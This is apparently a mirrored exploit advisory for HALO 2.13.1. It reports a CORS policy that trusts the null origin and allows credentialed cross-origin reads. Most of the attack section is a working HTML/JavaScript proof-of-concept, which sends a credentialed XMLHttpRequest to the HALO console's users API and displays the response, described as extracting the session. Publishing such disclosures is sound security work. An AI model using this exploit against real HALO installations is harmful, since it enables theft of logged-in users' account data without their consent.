2024-3-16 21:2:44 Author: cxsecurity.com(查看原文) 阅读量:8 收藏
## Title: HALO-2.13.1 Cross-origin resource sharing: arbitrary origin trusted ## Author: nu11secur1ty ## Date: 03/15/2024 ## Vendor: https://www.halo.run/ ## Software: https://github.com/halo-dev/halo ## Reference: https://portswigger.net/web-security/cors ## Description: The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain. The application allowed access from the requested origin null The application allows two-way interaction from the null origin. This effectively means that any domain can perform two-way interaction by causing the browser to submit the null origin, for example by issuing the request from a sandboxed iframe or malicious fishing domain with a specially crafted HTML exploit. STATUS: HIGH- Vulnerability [+]Exploit: ```HTML <html> <body> <center> <h2>CORS POC Exploit <h3>Extract SID <div id="demo"> <button type="button" onclick="cors()">Exploit Click here </div> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = alert(this.responseText); } }; xhttp.open("GET", "http://192.168.100.49:8090/apis/api.console.halo.run/v1alpha1/users/-", true); xhttp.withCredentials = true; xhttp.send(); } </script> </body> </html> ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/HALO/2024/HALO-2.13.1) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2024/03/halo-2131-cross-origin-resource-sharing.html) ## Time spent: 00:25:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>
Thanks for you comment!
Your message is in quarantine 48 hours.
如有侵权请联系:admin#unsafe.sh